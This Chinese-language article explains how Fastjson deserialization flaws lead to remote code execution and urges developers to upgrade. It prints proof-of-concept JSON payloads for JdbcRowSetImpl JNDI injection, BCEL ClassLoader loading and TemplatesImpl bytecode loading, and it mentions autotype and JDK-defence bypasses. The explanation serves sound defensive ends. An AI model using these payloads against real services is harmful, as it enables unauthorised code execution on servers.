Fastjson反序列化漏洞利用分析

Fastjson反序列化漏洞利用分析

​

背景

在推進Fastjson組件升級的過程當中遇到一些問題，爲幫助業務同窗理解漏洞危害，下文將從總體上對其漏洞原理及利用方式作概括總結，主要是一些概述性和原理上的東西。

漏洞原理

多個版本的Fastjson組件在反序列化不可信數據時會致使代碼執行。究其緣由，首先，Fastjson提供了autotype功能，容許用戶在反序列化數據中經過「@type」指定反序列化的類型，其次，Fastjson自定義的反序列化機制時會調用指定類中的setter方法及部分getter方法，那麼當組件開啓了autotype功能而且反序列化不可信數據時，攻擊者能夠構造數據，使目標應用的代碼執行流程進入特定類的特定setter或者getter方法中，若指定類的指定方法中有可被惡意利用的邏輯（也就是一般所指的「Gadget」），則會形成一些嚴重的安全問題。

那麼不開啓autotype功能就安全了嗎？

不是的，在Fastjson 1.2.47及如下版本中，利用其緩存機制可實現對未開啓autotype功能的繞過，繞過細節可參考（https://www.anquanke.com/post/id/181874），代碼驗證邏輯的問題，再也不贅述。

利用方式

那麼Fastjson反序列化不可信數據時是如何致使代碼執行的呢？這就是漏洞原理一節中所說的可被惡意利用的邏輯，目前公開的、攻擊者使用普遍的Gadget無外乎有這麼幾種，下面會具體解釋下指定setter或getter方法中可被惡意利用的代碼邏輯：

基於JNDI注入

JNDI即Java Naming and Directory Interface，Java命名和目錄接口，JNDI提供了不少實現方式，主要有RMI，LDAP，CORBA等。JNDI提供了一個統一的外部接口，底層服務實現是多樣的。

以RMI爲例，RMI Registry有Name到對象的映射關係，應用經過java.rmi.naming#lookup方法向Registry發出查詢請求，獲得映射關係，再鏈接RMI Server實現遠程方法調用。

若是說其lookup方法的參數是咱們能夠控制的，能夠將其參數指向咱們控制的Registry，那咱們能夠在Registry綁定一個指向遠程類的Reference對象（當對象爲Reference類型的時候，應用會加載遠程類並實例化），遠程類的靜態代碼塊及構造方法都可控，從而致使任意代碼執行。

下面以com.sun.rowset.JdbcRowSetImpl類爲例具體解釋下，

基於類com.sun.rowset.JdbcRowSetImpl的POC以下：

{
  "@type":"com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName":"rmi://localhost:1097/Object",
  "autoCommit":true
}

Fastjson在反序列化的時候，會使用asm來構造對象，而後調用對象的setter方法。在解析上述json字符串時，首先構造JdbcRowSetImpl對象，而後調用setDataSourceName方法和setAutoCommit方法爲對象賦值，在調用setAutoCommit方法時，會經過connect方法調用lookup方法向Registry發出查詢請求，而Registry的地址正是dataSourceName的值，這就致使了lookup方法參數可控，進而咱們能夠經過自定義Registry實現進一步漏洞利用。

connect方法代碼：

private Connection connect() throws SQLException {
        if (this.conn != null) {
            return this.conn;
        } else if (this.getDataSourceName() != null) {
            try {
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
                return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
            } catch (NamingException var3) {
                throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
            }
        } else {
            return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
        }
    }

相似的，除com.sun.rowset.JdbcRowSetImpl外，還有org.springframework.jndi.support.SimpleJndiBeanFactory、com.mchange.v2.c3p0.JndiRefForwardingDataSource、org.apache.ibatis.datasource.jndi.JndiDataSourceFactory、org.hibernate.jmx.StatisticsService等等均可以成爲「Gadget」中的一環，基於JNDI注入實現代碼執行。Java類庫何其多，JDK中的、第三方的，將來也必定會出現更多的可被惡意利用的類庫。

值得一提的是，在高版本的JDK中作了對JNDI注入類攻擊的防禦，主要是經過限制遠程類的加載實現，具體細節能夠參考個人這篇文章https://www.cnblogs.com/Welk1n/p/11066397.html，其中有比較詳細的防禦原理以及某些條件下的防禦繞過說明。

基於ClassLoader

POC以下：

{
  "@type" : "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
  "driverClassLoader" :
  {
    "@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"
  },
  "driverClassName" : "$$BCEL$$$l$8b$I$A$A$A$···省略···bb$C$A$A"
}

首先看一下com.sun.org.apache.bcel.internal.util.ClassLoader這個類加載器的加載機制，java、javax和sun這三個包下的類會經過系統類加載器進行加載，而後當遇到一些特殊的類名，class_name以$$BCEL$$開頭的類，會調用createClass方法去解析class_name，在createClass方法中會將$$BCEL$$以後的字符解碼成字節數組，並將這個BCEL編碼後的類加載到虛擬機中。換言之，咱們能夠構造className爲一個特殊的字符串時，經過這個類加載器來實現對自定義類的加載。

protected Class loadClass(String class_name, boolean resolve)
    throws ClassNotFoundException
  {
    Class cl = null;

    /* First try: lookup hash table.
     */
    if((cl=(Class)classes.get(class_name)) == null) {
      /* Second try: Load system class using system class loader. You better
       * don't mess around with them.
       */
      for(int i=0; i < ignored_packages.length; i++) {
        if(class_name.startsWith(ignored_packages[i])) {
          cl = deferTo.loadClass(class_name);
          break;
        }
      }

      if(cl == null) {
        JavaClass clazz = null;

        /* Third try: Special request?
         */
        if(class_name.indexOf("$$BCEL$$") >= 0)
          clazz = createClass(class_name);
        else { // Fourth try: Load classes via repository
          if ((clazz = repository.loadClass(class_name)) != null) {
            clazz = modifyClass(clazz);
          }
          else
            throw new ClassNotFoundException(class_name);
        }

        if(clazz != null) {
          byte[] bytes  = clazz.getBytes();
          cl = defineClass(class_name, bytes, 0, bytes.length);
        } else // Fourth try: Use default class loader
          cl = Class.forName(class_name);
      }

      if(resolve)
        resolveClass(cl);
    }

    classes.put(class_name, cl);

    return cl;
  }

那麼，當Fastjson反序列化org.apache.tomcat.dbcp.dbcp.BasicDataSource對象時，首先經過setter方法設置其driverClassLoader和driverClassName屬性，而後會調用其getConnection方法，又最終調用了createConnectionFactory方法，其經過Class.forName方法用driverClassLoader加載driverClassName，並設置是否初始化參數爲true。forName方法實際最終調用了C實現的Native類型的方法，分析C源碼可知，其底層的加載邏輯還是調用類加載器的loadClass方法加載自定義類，有興趣的朋友能夠本身去分析下JVM層面的實現，這兒再也不展開，瞭解便可。

driverClassLoader和driverClassName都是json傳入，外部可控，那麼若將driverClassLoader設置爲com.sun.org.apache.bcel.internal.util.ClassLoader，driverClassName設置爲經BCEL編碼後的自定義類，那麼就實現了在反序列化時加載自定義類的目的。因而攻擊者能夠在static代碼塊中編寫惡意代碼，將其進行BCEL編碼，在類初始化時實現惡意代碼執行。

基於TemplatesImpl

POC以下：

{
  "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
  "_bytecodes":["yv66vgAAADM ··· 省略 ··· CAB0="],
  '_name':'a.b',
  '_tfactory':{ },
  "_outputProperties":{ }
}

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl這個類有個比較特殊的能力，能夠解析而後加載實例化_bytecodes變量中的字符數組，_bytecodes的值是可控的，因此攻擊者只要構造惡意類對應的字符數組，而後經過getOutputProperties方法觸發惡意類的加載及實例化，一樣實現了遠程代碼執行的效果。

一些具體的細節能夠參考這兩篇文章：

1. [http://xxlegend.com/2017/05/03/title- fastjson 遠程反序列化poc的構造和分析/](http://xxlegend.com/2017/05/03/title- fastjson 遠程反序列化poc的構造和分析/)
2. https://paper.seebug.org/636/

不過此種利用方式須要在解析json串時設置Feature.SupportNonPublicField，而業務同窗在使用fastjson時每每會直接按照默認參數調用parseObject方法，因此略爲雞肋。

建議

能夠看到上面幾種Gadget都能用來攻擊使用Fastjson的應用，實現代碼執行，相對來講第一種方式殺傷力更強一些。因此還請務必將組件升級到最新版本，來避免攻擊者對此漏洞的攻擊。